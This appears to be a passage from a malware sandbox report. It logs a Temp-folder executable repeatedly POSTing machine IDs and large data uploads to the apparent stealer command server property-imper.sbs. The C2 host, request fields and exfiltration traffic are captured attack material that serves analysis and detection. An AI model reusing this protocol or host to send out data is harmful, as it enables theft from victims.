2024-11-24 13:24:52 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49876	104.21.33.116	443	5012	C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 13:24:54 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 53 Host: property-imper.sbs
2024-11-24 13:24:54 UTC	53	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=LOGS11--LiveTraffic&j=
2024-11-24 13:24:54 UTC	1013	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 13:24:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=3dhedqc0oh0a9k1ncguf92b2gp; expires=Thu, 20-Mar-2025 07:11:33 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=X1Pcl7vapc0DR%2FPlO8RmokVsrC9AAFC8GbZgBxRd5AhxFZb3oixk%2B12Tf%2FYxd1Aa2NRPzxy0irKZF0DETpdWohSNmB0hOhxnJj4VUGaUMKDWxOI8PCZbABPKWz9M0OwvZCY5jBI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e79b8cea86c4283-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1578&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2846&recv_bytes=955&delivery_rate=1842271&cwnd=243&unsent_bytes=0&cid=c2f8d5507a3bc765&ts=771&x=0"
2024-11-24 13:24:54 UTC	356	IN	Data Raw: 34 65 30 0d 0a 32 35 49 72 30 39 57 63 67 78 32 71 4f 59 62 6c 46 53 65 32 6f 32 61 33 37 70 43 55 62 66 36 37 75 38 63 66 57 32 34 71 33 78 36 67 73 46 33 78 37 36 69 76 50 39 6c 63 70 4e 39 68 56 63 50 47 53 70 57 50 39 4c 5a 58 6d 4e 72 58 74 48 70 33 54 46 79 79 50 4f 48 30 53 72 2b 6d 2b 61 38 2f 7a 30 47 6b 33 30 35 63 6c 4d 59 49 6c 64 53 79 38 51 65 63 32 74 65 6c 66 6a 41 42 57 72 4e 39 73 2f 35 4d 75 37 44 2f 35 33 7a 47 56 4f 4f 41 63 45 62 63 7a 51 2f 61 68 76 32 32 51 64 7a 65 77 65 55 6c 65 53 4e 50 71 33 2b 57 38 31 69 34 39 2b 47 76 5a 6f 68 63 36 4d 63 76 42 64 66 47 42 4e 75 49 39 50 38 46 6c 74 50 66 70 48 73 78 48 6b 4f 35 64 72 50 77 54 37 71 36 39 76 4e 78 7a 46 50 6f 68 6e 70 47 6c 49 39 45 30 70 53 79 72 6b 2f 50 36 39 71 30 62 43 Data Ascii: 4e025Ir09Wcgx2qOYblFSe2o2a37pCUbf67u8cfW24q3x6gsF3x76ivP9lcpN9hVcPGSpWP9LZXmNrXtHp3TFyyPOH0Sr+m+a8/z0Gk305clMYIldSy8Qec2telfjABWrN9s/5Mu7D/53zGVOOAcEbczQ/ahv22QdzeweUleSNPq3+W81i49+GvZohc6McvBdfGBNuI9P8FltPfpHsxHkO5drPwT7q69vNxzFPohnpGlI9E0pSyrk/P69q0bC
2024-11-24 13:24:54 UTC	899	IN	Data Raw: 74 77 46 44 76 67 6d 56 4f 33 63 77 4a 31 59 48 34 2b 51 79 63 33 74 4f 76 63 6a 4d 49 52 62 42 36 75 66 41 4a 2f 2f 66 35 2b 54 2b 51 47 38 65 43 5a 30 4c 59 31 30 62 76 7a 4f 32 34 46 74 7a 65 31 65 55 6c 65 51 52 4e 76 6e 2b 79 2f 30 71 35 76 4f 7a 68 62 63 35 57 34 5a 56 78 51 4e 72 4c 42 38 65 47 2f 50 41 4d 6c 64 4c 51 6f 48 6f 39 54 41 62 39 65 36 47 77 45 66 47 57 38 2b 70 7a 77 6b 7a 6b 78 32 67 4c 7a 59 45 44 32 63 79 71 74 67 75 64 33 64 69 68 63 7a 63 49 52 4c 74 79 74 50 39 50 75 37 66 35 36 33 66 41 57 75 6d 4d 65 45 58 52 7a 41 44 54 67 50 50 7a 54 39 4b 5a 33 72 30 39 59 55 78 6d 75 6e 2b 72 73 6e 79 79 75 66 44 6d 61 59 68 45 71 70 34 33 51 74 69 42 58 4a 57 43 39 2f 6b 64 6e 63 76 63 71 32 38 31 43 55 36 77 66 37 66 77 54 4c 61 36 38 4f Data Ascii: twFDvgmVO3cwJ1YH4+Qyc3tOvcjMIRbB6ufAJ//f5+T+QG8eCZ0LY10bvzO24Ftze1eUleQRNvn+y/0q5vOzhbc5W4ZVxQNrLB8eG/PAMldLQoHo9TAb9e6GwEfGW8+pzwkzkx2gLzYED2cyqtgud3dihczcIRLtytP9Pu7f563fAWumMeEXRzADTgPPzT9KZ3r09YUxmun+rsnyyufDmaYhEqp43QtiBXJWC9/kdncvcq281CU6wf7fwTLa68O
2024-11-24 13:24:54 UTC	1369	IN	Data Raw: 33 61 64 32 0d 0a 77 56 4c 32 6a 58 74 4c 78 73 77 4f 30 49 4c 2b 38 77 43 63 32 4e 69 72 64 7a 4a 4d 42 76 31 37 6f 62 41 52 38 5a 6a 7a 38 57 33 43 55 50 58 46 51 6b 62 61 7a 77 50 44 7a 4f 32 34 46 74 7a 65 31 65 55 6c 65 51 64 4f 73 58 43 35 39 6c 75 2f 75 4f 7a 72 62 63 78 56 34 49 74 35 54 4e 6e 4f 41 63 65 49 38 75 51 4f 6d 64 37 58 71 47 38 38 54 41 62 39 65 36 47 77 45 66 47 4e 79 75 5a 76 32 56 79 6d 73 6e 52 4c 32 73 59 53 6c 5a 4f 38 37 30 2b 62 31 5a 6e 39 50 54 6f 41 52 62 52 35 74 75 4a 44 76 62 62 73 35 6e 62 42 55 65 57 4a 65 45 37 59 78 42 62 65 67 2f 72 35 44 70 48 55 30 71 46 39 65 55 49 49 75 6d 54 35 71 41 6d 51 75 76 48 7a 66 4e 6b 5a 30 59 52 35 53 39 50 58 52 4d 72 43 36 37 59 49 6b 4a 6d 42 35 58 77 31 41 45 6d 79 65 72 50 34 53 Data Ascii: 3ad2wVL2jXtLxswO0IL+8wCc2NirdzJMBv17obAR8Zjz8W3CUPXFQkbazwPDzO24Ftze1eUleQdOsXC59lu/uOzrbcxV4It5TNnOAceI8uQOmd7XqG88TAb9e6GwEfGNyuZv2VymsnRL2sYSlZO870+b1Zn9PToARbR5tuJDvbbs5nbBUeWJeE7YxBbeg/r5DpHU0qF9eUIIumT5qAmQuvHzfNkZ0YR5S9PXRMrC67YIkJmB5Xw1AEmyerP4S
2024-11-24 13:24:54 UTC	1369	IN	Data Raw: 6c 66 38 56 51 36 6f 6c 2b 53 64 7a 4e 41 38 65 42 39 2f 34 46 6c 64 7a 56 71 48 34 72 44 30 6e 39 4d 76 6e 33 55 66 48 76 76 73 5a 4d 2f 33 69 6b 6d 44 6c 63 6c 4d 59 49 6c 64 53 79 39 77 65 62 31 39 32 33 63 79 73 43 54 37 31 36 73 66 68 4f 76 62 6e 77 38 33 66 4a 57 2b 71 49 66 30 7a 51 77 41 44 52 67 50 57 32 51 64 7a 65 77 65 55 6c 65 53 52 4c 70 32 62 37 33 6b 4b 78 73 4f 37 33 5a 49 68 45 71 70 34 33 51 74 69 42 58 4a 57 49 2b 66 77 47 6e 39 44 64 71 48 30 77 41 30 47 31 63 62 48 69 53 4c 75 6c 2b 75 52 2b 78 31 48 67 6a 33 74 4b 32 4d 55 57 33 73 79 38 74 67 69 45 6d 59 48 6c 58 54 49 61 61 36 39 75 2b 65 38 48 71 50 66 35 37 54 2b 51 47 2b 32 4c 64 6b 54 65 78 77 2f 51 67 66 4c 7a 42 5a 76 56 32 61 56 2b 50 77 70 46 74 58 53 31 2f 45 71 38 73 76 Data Ascii: lf8VQ6ol+SdzNA8eB9/4FldzVqH4rD0n9Mvn3UfHvvsZM/3ikmDlclMYIldSy9web1923cysCT716sfhOvbnw83fJW+qIf0zQwADRgPW2QdzeweUleSRLp2b73kKxsO73ZIhEqp43QtiBXJWI+fwGn9DdqH0wA0G1cbHiSLul+uR+x1Hgj3tK2MUW3sy8tgiEmYHlXTIaa69u+e8HqPf57T+QG+2LdkTexw/QgfLzBZvV2aV+PwpFtXS1/Eq8sv
2024-11-24 13:24:54 UTC	1369	IN	Data Raw: 56 65 57 42 65 30 69 55 6a 30 54 53 6c 4c 4b 75 54 37 76 44 31 4b 4e 71 4b 44 6c 50 76 53 33 35 37 77 65 6f 39 2f 6e 74 50 35 41 62 36 59 74 39 53 4e 48 46 44 4e 4b 50 38 2f 6f 4c 6b 64 54 64 72 48 6b 38 48 6c 71 37 63 72 6e 2f 52 37 36 37 37 4f 39 36 79 46 65 6b 79 54 64 43 7a 49 46 63 6c 62 33 6c 39 6b 2b 44 6c 38 44 6c 65 6a 56 4d 45 50 31 7a 74 4f 4a 46 76 72 66 2f 34 6e 76 44 58 4f 4b 42 64 6b 62 52 77 67 48 54 6a 66 4c 36 42 5a 76 52 30 36 74 77 50 77 68 4f 75 7a 7a 33 73 45 36 70 39 36 61 68 54 63 56 56 37 59 52 78 53 4d 4c 70 4e 5a 57 54 76 4f 39 50 6d 39 57 5a 2f 54 30 39 42 30 43 78 65 62 48 31 53 4c 6d 39 39 75 35 77 32 6c 72 72 6a 6e 42 4f 32 63 34 4b 30 49 4c 67 38 51 53 58 30 64 43 72 65 33 6c 43 43 4c 70 6b 2b 61 67 4a 68 37 54 77 36 6d 37 Data Ascii: VeWBe0iUj0TSlLKuT7vD1KNqKDlPvS357weo9/ntP5Ab6Yt9SNHFDNKP8/oLkdTdrHk8Hlq7crn/R7677O96yFekyTdCzIFclb3l9k+Dl8DlejVMEP1ztOJFvrf/4nvDXOKBdkbRwgHTjfL6BZvR06twPwhOuzz3sE6p96ahTcVV7YRxSMLpNZWTvO9Pm9WZ/T09B0CxebH1SLm99u5w2lrrjnBO2c4K0ILg8QSX0dCre3lCCLpk+agJh7Tw6m7
2024-11-24 13:24:54 UTC	1369	IN	Data Raw: 58 5a 4b 6c 49 39 45 30 70 53 79 72 6b 2b 74 7a 39 36 69 63 6e 73 6c 54 36 5a 39 73 2f 4e 43 76 66 66 68 72 32 61 49 58 4f 6a 48 4c 77 58 5a 7a 51 6e 52 6e 76 37 32 44 35 58 65 30 37 64 79 4e 67 46 4c 76 58 6d 72 38 56 75 2b 76 50 76 69 65 38 64 55 36 49 39 39 42 5a 71 42 41 38 33 4d 71 72 59 6a 6e 38 6a 54 35 31 6f 6a 47 6b 2b 78 62 62 4c 39 52 66 47 6f 73 50 67 2f 7a 31 65 6b 33 7a 64 46 31 63 77 57 30 49 33 34 2f 41 4b 55 31 74 79 67 63 6a 30 49 51 37 4e 75 74 2f 39 4a 74 37 7a 2f 35 48 7a 44 55 65 71 4f 5a 51 57 61 67 51 50 4e 7a 4b 71 32 4a 59 66 59 31 4b 6b 2f 46 77 64 65 75 6a 36 59 2f 6b 4b 32 75 2b 69 68 59 49 5a 43 70 49 42 37 42 59 79 42 44 64 75 41 38 66 45 48 6c 4e 7a 5a 72 6e 30 32 42 6b 61 36 62 72 50 38 51 36 4f 34 2f 65 78 37 78 56 48 68 Data Ascii: XZKlI9E0pSyrk+tz96icnslT6Z9s/NCvffhr2aIXOjHLwXZzQnRnv72D5Xe07dyNgFLvXmr8Vu+vPvie8dU6I99BZqBA83MqrYjn8jT51ojGk+xbbL9RfGosPg/z1ek3zdF1cwW0I34/AKU1tygcj0IQ7Nut/9Jt7z/5HzDUeqOZQWagQPNzKq2JYfY1Kk/Fwdeuj6Y/kK2u+ihYIZCpIB7BYyBDduA8fEHlNzZrn02Bka6brP8Q6O4/ex7xVHh
2024-11-24 13:24:54 UTC	1369	IN	Data Raw: 69 42 58 4a 57 4d 39 76 6f 4d 6d 39 66 57 71 48 49 2b 42 30 65 33 63 71 76 2f 54 4c 6d 37 39 75 78 74 77 6c 48 32 6a 6e 35 49 32 73 6b 57 31 73 79 38 74 67 69 45 6d 59 48 6c 54 7a 4d 50 52 4b 74 78 74 72 42 57 2f 36 36 2b 35 6e 4f 49 41 36 53 56 5a 55 58 66 77 51 50 62 6e 76 50 2b 41 4a 62 5a 33 36 35 33 4f 67 56 4d 73 33 57 2f 38 55 53 77 74 76 37 6b 66 38 46 4a 36 63 63 35 42 64 50 5a 52 49 33 4d 78 66 6f 45 72 64 72 50 35 57 4a 33 46 51 69 36 63 50 6d 6f 43 62 43 6c 38 2b 6c 37 79 46 62 69 6a 48 5a 45 31 38 45 45 31 6f 7a 33 2f 51 43 61 33 74 53 76 64 44 41 65 51 4c 6c 75 75 66 78 4e 38 66 6d 2b 35 6d 65 49 41 36 53 33 64 45 37 59 77 51 6e 41 7a 4f 32 34 46 74 7a 65 31 65 55 6c 65 51 52 44 74 6e 71 79 38 30 71 2f 76 50 54 75 63 4d 4a 64 34 6f 39 79 52 Data Ascii: iBXJWM9voMm9fWqHI+B0e3cqv/TLm79uxtwlH2jn5I2skW1sy8tgiEmYHlTzMPRKtxtrBW/66+5nOIA6SVZUXfwQPbnvP+AJbZ3653OgVMs3W/8USwtv7kf8FJ6cc5BdPZRI3MxfoErdrP5WJ3FQi6cPmoCbCl8+l7yFbijHZE18EE1oz3/QCa3tSvdDAeQLluufxN8fm+5meIA6S3dE7YwQnAzO24Ftze1eUleQRDtnqy80q/vPTucMJd4o9yR
2024-11-24 13:24:54 UTC	1369	IN	Data Raw: 58 6a 66 2f 6d 43 4e 79 58 6d 61 4d 39 59 56 77 47 2f 58 69 6f 73 42 48 68 35 61 57 30 4c 4a 38 4c 74 70 67 35 58 4a 54 58 52 49 33 65 76 4c 59 64 33 49 47 5a 34 6e 34 72 48 6b 36 2b 61 72 71 33 64 34 2b 58 39 65 31 38 78 46 72 6a 78 7a 6b 46 32 34 46 63 37 4d 7a 78 35 42 33 54 79 4d 2b 6f 62 54 35 41 51 4b 78 78 74 62 41 48 38 66 76 36 36 6e 50 4e 58 50 54 49 5a 56 58 66 7a 52 4b 5a 69 4f 43 32 51 64 7a 49 30 71 70 76 4e 77 73 48 72 47 71 30 34 45 71 30 73 4c 4c 70 62 73 56 58 70 4d 6b 33 55 4e 2f 4e 41 74 69 5a 76 65 63 5a 6e 38 2f 65 36 58 55 6f 41 55 54 39 51 2f 65 77 55 66 48 76 76 74 52 38 78 6c 58 6a 6b 57 59 49 39 4d 6f 49 31 6f 44 7a 38 55 2f 53 6d 64 2f 6c 4a 57 70 43 43 4c 6c 74 2b 61 67 5a 34 2b 79 72 73 69 69 59 43 66 76 4a 62 67 58 43 67 56 Data Ascii: Xjf/mCNyXmaM9YVwG/XiosBHh5aW0LJ8Ltpg5XJTXRI3evLYd3IGZ4n4rHk6+arq3d4+X9e18xFrjxzkF24Fc7Mzx5B3TyM+obT5AQKxxtbAH8fv66nPNXPTIZVXfzRKZiOC2QdzI0qpvNwsHrGq04Eq0sLLpbsVXpMk3UN/NAtiZvecZn8/e6XUoAUT9Q/ewUfHvvtR8xlXjkWYI9MoI1oDz8U/Smd/lJWpCCLlt+agZ4+yrsiiYCfvJbgXCgV
2024-11-24 13:24:54 UTC	1369	IN	Data Raw: 74 68 33 63 67 5a 6e 69 63 7a 51 4e 53 37 4e 2f 71 2b 4a 50 73 71 48 39 70 6b 48 32 66 75 6d 4b 63 6b 76 54 2f 7a 72 30 68 75 4c 37 41 4a 76 6e 35 35 4a 73 50 68 77 4b 6d 33 2b 76 38 77 6e 2f 39 2b 61 68 4a 34 68 36 37 70 64 36 53 74 4f 42 53 70 57 49 73 71 35 50 75 64 54 55 6f 48 4d 2b 54 6d 6d 33 62 4c 54 2f 54 76 48 35 76 75 30 2f 6b 42 76 6c 6a 57 64 49 32 38 5a 49 30 70 62 31 74 6b 48 63 31 35 6e 39 50 54 67 47 57 4c 42 7a 76 72 78 50 76 37 6d 2b 2f 6a 48 52 47 2f 4c 48 4c 78 61 61 67 52 61 56 31 4c 4b 78 41 5a 48 59 32 71 74 2b 4b 78 35 4f 76 6d 71 36 74 33 65 50 6b 76 50 73 65 73 5a 63 32 72 6c 57 54 38 54 4d 43 39 4c 4f 30 76 45 5a 6e 2b 66 6e 6b 6d 77 2b 48 41 71 62 66 36 2f 7a 43 66 2f 33 35 71 45 6e 69 48 72 75 6c 33 70 4b 30 34 4d 6b 30 70 72 Data Ascii: th3cgZniczQNS7N/q+JPsqH9pkH2fumKckvT/zr0huL7AJvn55JsPhwKm3+v8wn/9+ahJ4h67pd6StOBSpWIsq5PudTUoHM+Tmm3bLT/TvH5vu0/kBvljWdI28ZI0pb1tkHc15n9PTgGWLBzvrxPv7m+/jHRG/LHLxaagRaV1LKxAZHY2qt+Kx5Ovmq6t3ePkvPsesZc2rlWT8TMC9LO0vEZn+fnkmw+HAqbf6/zCf/35qEniHrul3pK04Mk0pr

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49893	104.21.33.116	443	5012	C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 13:24:57 UTC	278	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=RDEPI5PFR8X6 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18133 Host: property-imper.sbs
2024-11-24 13:24:57 UTC	15331	OUT	Data Raw: 2d 2d 52 44 45 50 49 35 50 46 52 38 58 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 45 32 42 30 45 36 37 43 45 44 32 42 37 42 37 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 0d 0a 2d 2d 52 44 45 50 49 35 50 46 52 38 58 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 52 44 45 50 49 35 50 46 52 38 58 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 52 44 45 50 49 35 50 46 Data Ascii: --RDEPI5PFR8X6Content-Disposition: form-data; name="hwid"8E2B0E67CED2B7B7D7CBBD6DF28D3732--RDEPI5PFR8X6Content-Disposition: form-data; name="pid"2--RDEPI5PFR8X6Content-Disposition: form-data; name="lid"LOGS11--LiveTraffic--RDEPI5PF
2024-11-24 13:24:57 UTC	2802	OUT	Data Raw: cc 94 75 5e c1 bc c6 a2 f2 ea 27 0a 66 e1 9f 97 c5 15 2e a7 07 cf 5c b7 ad 66 f0 cc 99 a8 33 f7 13 05 cf ec 85 7a 3b 85 8d 54 32 2f 1f e5 1b c1 33 7b 37 a5 bf 9f 8e 3a f1 6e 9a e0 79 69 60 c1 4c a6 f2 f7 de 4b 1f 36 af 1d f9 d7 e0 58 6d 5b 0b fd 9c 0a b5 9b 60 cc b0 d7 ab 1f 3b d0 52 0a 9f fd 54 22 95 3f 7a 94 ff 75 ab 9f a1 e3 6f 93 83 99 38 43 4e 2f 95 2f 6d 6e ac ae d3 03 1e ad ac 6f 7a a3 8a 81 36 d9 bf 1f 83 71 fd 1a ed c5 4d d3 3e 9b d8 ac 97 0c bd 15 36 2b 97 37 bb ef 2e 57 0f bc 3e 57 2a 0f 97 2f ad 6d 4a a7 02 2f 2b 7f 42 10 78 3e ba 45 a8 b5 6d 75 bf 83 75 53 b3 09 3b 9c 3e 27 56 d3 d4 ab d6 33 5e 4f 4d 1f 4e cd b2 89 b4 bc b1 b1 56 29 af ef 1e fa 70 79 ed 62 65 cf 7b d9 de 73 45 81 36 af a9 da 16 51 bc 21 8f 77 45 11 8f 43 d4 61 11 d5 14 88 8d Data Ascii: u^'f.\f3z;T2/3{7:nyi`LK6Xm[`;RT"?zuo8CN//mnoz6qM>6+7.W>W*/mJ/+Bx>EmuuS;>'V3^OMNV)pybe{sE6Q!wECa
2024-11-24 13:24:58 UTC	1022	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 13:24:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=vphnnikk80tseuqjv5gk905rrv; expires=Thu, 20-Mar-2025 07:11:36 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=TRo%2Bnsp89Q%2BbfdEy6DAp844HlSDnKHG1g4bSxTiuz5BYGR2GNxjTYrUbROGQOAXJuQtksXRk%2BhT%2FfoPETJ55rHdb0lM47glV5IkBJMcLZTZyTieBl29Ap6RZwVp0DYw6d4p%2Bb1g%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e79b8e25ec94340-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1756&sent=13&recv=23&lost=0&retrans=0&sent_bytes=2845&recv_bytes=19091&delivery_rate=1654390&cwnd=199&unsent_bytes=0&cid=8b97fde610682175&ts=1430&x=0"
2024-11-24 13:24:58 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-24 13:24:58 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49908	104.21.33.116	443	5012	C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 13:25:00 UTC	275	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=XWL3L29RUH User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8742 Host: property-imper.sbs
2024-11-24 13:25:00 UTC	8742	OUT	Data Raw: 2d 2d 58 57 4c 33 4c 32 39 52 55 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 45 32 42 30 45 36 37 43 45 44 32 42 37 42 37 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 0d 0a 2d 2d 58 57 4c 33 4c 32 39 52 55 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 58 57 4c 33 4c 32 39 52 55 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 58 57 4c 33 4c 32 39 52 55 48 0d 0a 43 6f Data Ascii: --XWL3L29RUHContent-Disposition: form-data; name="hwid"8E2B0E67CED2B7B7D7CBBD6DF28D3732--XWL3L29RUHContent-Disposition: form-data; name="pid"2--XWL3L29RUHContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--XWL3L29RUHCo
2024-11-24 13:25:01 UTC	1014	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 13:25:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=qhrkedpkr1koqcge9tudj4b01h; expires=Thu, 20-Mar-2025 07:11:40 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LgsTXf5wur7wChjXe4ExdhW%2FEfxZvuia9X2O7fIRa5Rie4ey56Ug7sh8SlhIAxs6cIuFFb0AxPBcNsZItQSgglUwnKalX4VeJOSLvKSTwJCxSU5b1pc827HQRQdfRo%2BHhSmFD5A%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e79b8f7eea70f83-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1597&sent=9&recv=15&lost=0&retrans=0&sent_bytes=2845&recv_bytes=9675&delivery_rate=1736028&cwnd=223&unsent_bytes=0&cid=15ebf21021460549&ts=1121&x=0"
2024-11-24 13:25:01 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-24 13:25:01 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49926	104.21.33.116	443	5012	C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 13:25:05 UTC	275	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=7FVAVNF1Q User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20389 Host: property-imper.sbs
2024-11-24 13:25:05 UTC	15331	OUT	Data Raw: 2d 2d 37 46 56 41 56 4e 46 31 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 45 32 42 30 45 36 37 43 45 44 32 42 37 42 37 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 0d 0a 2d 2d 37 46 56 41 56 4e 46 31 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 37 46 56 41 56 4e 46 31 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 37 46 56 41 56 4e 46 31 51 0d 0a 43 6f 6e 74 65 6e Data Ascii: --7FVAVNF1QContent-Disposition: form-data; name="hwid"8E2B0E67CED2B7B7D7CBBD6DF28D3732--7FVAVNF1QContent-Disposition: form-data; name="pid"3--7FVAVNF1QContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--7FVAVNF1QConten
2024-11-24 13:25:05 UTC	5058	OUT	Data Raw: 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 61 d3 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 